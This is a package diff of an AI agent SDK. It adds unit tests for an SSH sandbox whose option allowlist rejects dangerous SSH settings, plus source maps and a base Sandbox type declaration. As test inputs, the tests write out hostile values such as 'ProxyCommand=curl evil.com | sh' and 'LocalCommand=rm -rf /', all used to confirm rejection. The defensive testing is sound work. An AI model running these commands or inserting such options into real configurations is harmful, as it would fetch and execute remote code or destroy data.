@strands-agents/sdk 1.3.0 → 1.5.0

package/dist/src/sandbox/__tests__/ssh.test.node.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"ssh.test.node.d.ts","sourceRoot":"","sources":["../../../../src/sandbox/__tests__/ssh.test.node.ts"],"names":[],"mappings":""}

package/dist/src/sandbox/__tests__/ssh.test.node.js

@@ -0,0 +1,262 @@
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+import { SshSandbox } from '../ssh.js';
+import { streamProcess } from '../stream-process.js';
+import { SANDBOX_BASH_DESCRIPTION } from '../../vended-tools/bash/types.js';
+vi.mock('../stream-process.js', () => ({
+    streamProcess: vi.fn(async function* () {
+        yield {
+            type: 'executionResult',
+            exitCode: 0,
+            stdout: '',
+            stderr: '',
+            outputFiles: [],
+        };
+    }),
+}));
+describe('SshSandbox', () => {
+    beforeEach(() => {
+        vi.mocked(streamProcess).mockClear();
+    });
+    describe('constructor', () => {
+        it('stores host and workingDir', () => {
+            const sandbox = new SshSandbox({ host: 'myhost', workingDir: '/workspace' });
+            expect(sandbox.host).toBe('myhost');
+            expect(sandbox.workingDir).toBe('/workspace');
+        });
+    });
+    describe('SSH option allowlist', () => {
+        it('permits known-safe options', () => {
+            expect(() => new SshSandbox({
+                host: 'h',
+                workingDir: '/w',
+                sshOptions: ['ConnectTimeout=10', 'ServerAliveInterval=60', 'Compression=yes'],
+            })).not.toThrow();
+        });
+        it('rejects ProxyCommand', () => {
+            expect(() => new SshSandbox({
+                host: 'h',
+                workingDir: '/w',
+                sshOptions: ['ProxyCommand=curl evil.com | sh'],
+            })).toThrow(/ProxyCommand.*not allowed/);
+        });
+        it('rejects Include', () => {
+            expect(() => new SshSandbox({ host: 'h', workingDir: '/w', sshOptions: ['Include=/tmp/evil.conf'] })).toThrow(/Include.*not allowed/);
+        });
+        it('rejects Match', () => {
+            expect(() => new SshSandbox({ host: 'h', workingDir: '/w', sshOptions: ['Match exec "curl evil.com"'] })).toThrow(/Match.*not allowed/);
+        });
+        it('rejects LocalCommand', () => {
+            expect(() => new SshSandbox({ host: 'h', workingDir: '/w', sshOptions: ['LocalCommand=rm -rf /'] })).toThrow(/LocalCommand.*not allowed/);
+        });
+        it('rejects forwarding directives', () => {
+            for (const opt of ['LocalForward=8080:localhost:80', 'RemoteForward=9090:internal:80', 'DynamicForward=1080']) {
+                expect(() => new SshSandbox({ host: 'h', workingDir: '/w', sshOptions: [opt] })).toThrow(/not allowed/);
+            }
+        });
+        it('is case-insensitive', () => {
+            expect(() => new SshSandbox({ host: 'h', workingDir: '/w', sshOptions: ['proxycommand=evil'] })).toThrow(/not allowed/);
+            expect(() => new SshSandbox({ host: 'h', workingDir: '/w', sshOptions: ['PROXYCOMMAND=evil'] })).toThrow(/not allowed/);
+        });
+        it('allowUnsafeSshOptions=true bypasses validation', () => {
+            expect(() => new SshSandbox({
+                host: 'h',
+                workingDir: '/w',
+                sshOptions: ['ProxyCommand=anything'],
+                allowUnsafeSshOptions: true,
+            })).not.toThrow();
+        });
+    });
+    describe('executeStreaming SSH argument construction', () => {
+        it('builds correct SSH args with defaults', async () => {
+            const sandbox = new SshSandbox({ host: 'user@server.com', workingDir: '/remote/path' });
+            for await (const _ of sandbox.executeStreaming('echo hi')) {
+                // consume
+            }
+            expect(streamProcess).toHaveBeenCalledWith('ssh', [
+                '-o',
+                'StrictHostKeyChecking=accept-new',
+                '-o',
+                'BatchMode=yes',
+                '-p',
+                '22',
+                '--',
+                'user@server.com',
+                "cd '/remote/path' && echo hi",
+            ], { timeout: undefined, signal: undefined, enoentMessage: 'ssh is not installed or not on PATH' });
+        });
+        it('uses StrictHostKeyChecking=no when allowUnknownHosts is true', async () => {
+            const sandbox = new SshSandbox({ host: 'h', workingDir: '/w', allowUnknownHosts: true });
+            for await (const _ of sandbox.executeStreaming('ls')) {
+                // consume
+            }
+            const args = vi.mocked(streamProcess).mock.calls[0][1];
+            expect(args).toStrictEqual([
+                '-o',
+                'StrictHostKeyChecking=no',
+                '-o',
+                'BatchMode=yes',
+                '-p',
+                '22',
+                '--',
+                'h',
+                "cd '/w' && ls",
+            ]);
+        });
+        it('includes identity file when provided', async () => {
+            const sandbox = new SshSandbox({
+                host: 'h',
+                workingDir: '/w',
+                identityFile: '/home/user/.ssh/key',
+            });
+            for await (const _ of sandbox.executeStreaming('ls')) {
+                // consume
+            }
+            const args = vi.mocked(streamProcess).mock.calls[0][1];
+            expect(args).toStrictEqual([
+                '-o',
+                'StrictHostKeyChecking=accept-new',
+                '-o',
+                'BatchMode=yes',
+                '-p',
+                '22',
+                '-i',
+                '/home/user/.ssh/key',
+                '--',
+                'h',
+                "cd '/w' && ls",
+            ]);
+        });
+        it('uses custom port', async () => {
+            const sandbox = new SshSandbox({ host: 'h', workingDir: '/w', port: 2222 });
+            for await (const _ of sandbox.executeStreaming('ls')) {
+                // consume
+            }
+            const args = vi.mocked(streamProcess).mock.calls[0][1];
+            expect(args).toStrictEqual([
+                '-o',
+                'StrictHostKeyChecking=accept-new',
+                '-o',
+                'BatchMode=yes',
+                '-p',
+                '2222',
+                '--',
+                'h',
+                "cd '/w' && ls",
+            ]);
+        });
+        it('appends user sshOptions as -o flags', async () => {
+            const sandbox = new SshSandbox({
+                host: 'h',
+                workingDir: '/w',
+                sshOptions: ['ConnectTimeout=5', 'ServerAliveInterval=30'],
+            });
+            for await (const _ of sandbox.executeStreaming('ls')) {
+                // consume
+            }
+            const args = vi.mocked(streamProcess).mock.calls[0][1];
+            expect(args).toStrictEqual([
+                '-o',
+                'StrictHostKeyChecking=accept-new',
+                '-o',
+                'BatchMode=yes',
+                '-p',
+                '22',
+                '-o',
+                'ConnectTimeout=5',
+                '-o',
+                'ServerAliveInterval=30',
+                '--',
+                'h',
+                "cd '/w' && ls",
+            ]);
+        });
+        it('quotes cwd with single quotes', async () => {
+            const sandbox = new SshSandbox({ host: 'h', workingDir: "/path/with spaces/and'quotes" });
+            for await (const _ of sandbox.executeStreaming('ls')) {
+                // consume
+            }
+            const args = vi.mocked(streamProcess).mock.calls[0][1];
+            expect(args).toStrictEqual([
+                '-o',
+                'StrictHostKeyChecking=accept-new',
+                '-o',
+                'BatchMode=yes',
+                '-p',
+                '22',
+                '--',
+                'h',
+                "cd '/path/with spaces/and'\\''quotes' && ls",
+            ]);
+        });
+        it('uses cwd option when provided', async () => {
+            const sandbox = new SshSandbox({ host: 'h', workingDir: '/default' });
+            for await (const _ of sandbox.executeStreaming('ls', { cwd: '/override' })) {
+                // consume
+            }
+            const args = vi.mocked(streamProcess).mock.calls[0][1];
+            expect(args).toStrictEqual([
+                '-o',
+                'StrictHostKeyChecking=accept-new',
+                '-o',
+                'BatchMode=yes',
+                '-p',
+                '22',
+                '--',
+                'h',
+                "cd '/override' && ls",
+            ]);
+        });
+        it('forwards timeout and signal to streamProcess', async () => {
+            const sandbox = new SshSandbox({ host: 'h', workingDir: '/w' });
+            const controller = new AbortController();
+            for await (const _ of sandbox.executeStreaming('ls', { timeout: 5, signal: controller.signal })) {
+                // consume
+            }
+            const opts = vi.mocked(streamProcess).mock.calls[0][2];
+            expect(opts).toStrictEqual({
+                timeout: 5,
+                signal: controller.signal,
+                enoentMessage: 'ssh is not installed or not on PATH',
+            });
+        });
+        it('prefixes command with env vars when provided', async () => {
+            const sandbox = new SshSandbox({ host: 'h', workingDir: '/w' });
+            for await (const _ of sandbox.executeStreaming('echo $FOO', { env: { FOO: 'bar', BAZ: 'qux' } })) {
+                // consume
+            }
+            const args = vi.mocked(streamProcess).mock.calls[0][1];
+            expect(args).toStrictEqual([
+                '-o',
+                'StrictHostKeyChecking=accept-new',
+                '-o',
+                'BatchMode=yes',
+                '-p',
+                '22',
+                '--',
+                'h',
+                "cd '/w' && export FOO='bar' BAZ='qux' && echo $FOO",
+            ]);
+        });
+        it('rejects invalid env var names', async () => {
+            const sandbox = new SshSandbox({ host: 'h', workingDir: '/w' });
+            await expect(async () => {
+                for await (const _ of sandbox.executeStreaming('cmd', { env: { 'FOO=bar BAZ': 'val' } })) {
+                    // consume
+                }
+            }).rejects.toThrow('Invalid environment variable name');
+        });
+    });
+    describe('getTools', () => {
+        it('vends the sandbox-routed fileEditor and bash tools', () => {
+            const tools = new SshSandbox({ host: 'myhost', workingDir: '/workspace' }).getTools();
+            expect(tools.map((t) => t.name)).toStrictEqual(['fileEditor', 'bash']);
+        });
+        it('vends bash with the sandbox description', () => {
+            const tools = new SshSandbox({ host: 'myhost', workingDir: '/workspace' }).getTools();
+            const bashTool = tools.find((t) => t.name === 'bash');
+            expect(bashTool.description).toContain(SANDBOX_BASH_DESCRIPTION);
+            expect(bashTool.description).toContain('myhost');
+        });
+    });
+});
+//# sourceMappingURL=ssh.test.node.js.map

package/dist/src/sandbox/__tests__/ssh.test.node.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"ssh.test.node.js","sourceRoot":"","sources":["../../../../src/sandbox/__tests__/ssh.test.node.ts"],"names":[],"mappings":"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"}

package/dist/src/sandbox/base.d.ts

@@ -0,0 +1,156 @@
+/**
+ * Base sandbox interface.
+ *
+ * Defines the abstract {@link Sandbox} class that all sandbox implementations
+ * must extend. The class provides six abstract operations (command execution,
+ * code execution, and file I/O) and convenience wrappers for common patterns.
+ */
+import type { ExecutionResult, FileInfo, StreamChunk } from './types.js';
+import type { Tool } from '../tools/tool.js';
+/**
+ * Options for command and code execution.
+ */
+export interface ExecuteOptions {
+    /** Maximum execution time in seconds. `undefined` means no timeout. */
+    timeout?: number | undefined;
+    /** Working directory for execution. `undefined` means use the sandbox default. */
+    cwd?: string | undefined;
+    /** Abort signal to cancel execution. The process is killed when the signal fires. */
+    signal?: AbortSignal | undefined;
+    /**
+     * Environment variables to set for this command. Built-in sandboxes always apply these,
+     * though the mechanism differs (Docker `-e` flags, SSH `env` prefix); custom `Sandbox`
+     * implementations must handle env explicitly or it has no effect.
+     */
+    env?: Record<string, string> | undefined;
+}
+/**
+ * Abstract execution environment.
+ *
+ * A Sandbox provides the runtime context where tools execute code,
+ * run commands, and interact with a filesystem. Multiple tools share
+ * the same Sandbox instance, giving them a common working directory
+ * and filesystem.
+ *
+ * Streaming methods (`executeStreaming`, `executeCodeStreaming`) are the abstract primitives.
+ * Non-streaming convenience methods (`execute`, `executeCode`) consume
+ * the stream and return the final result.
+ */
+export declare abstract class Sandbox {
+    /**
+     * Execute a shell command, streaming output.
+     *
+     * Yields {@link StreamChunk} objects for stdout and stderr as output
+     * arrives. The final yield is an {@link ExecutionResult} with the
+     * exit code and complete output.
+     *
+     * @param command - The shell command to execute.
+     * @param options - Execution options.
+     * @returns Async iterable yielding StreamChunks followed by a final ExecutionResult.
+     */
+    abstract executeStreaming(command: string, options?: ExecuteOptions): AsyncIterable<StreamChunk | ExecutionResult>;
+    /**
+     * Execute source code via a language interpreter, streaming output.
+     *
+     * @param code - The source code to execute.
+     * @param language - The interpreter to use (e.g., `"python3"`, `"node"`).
+     * @param options - Execution options.
+     * @returns Async iterable yielding StreamChunks followed by a final ExecutionResult.
+     */
+    abstract executeCodeStreaming(code: string, language: string, options?: ExecuteOptions): AsyncIterable<StreamChunk | ExecutionResult>;
+    /**
+     * Read a file from the sandbox filesystem as raw bytes.
+     *
+     * Returns `Uint8Array` to support both text and binary files.
+     * Use {@link readText} for a convenience wrapper that decodes to a string.
+     *
+     * @param path - Path to the file to read.
+     * @returns The file contents as raw bytes.
+     * @throws Error if the file does not exist.
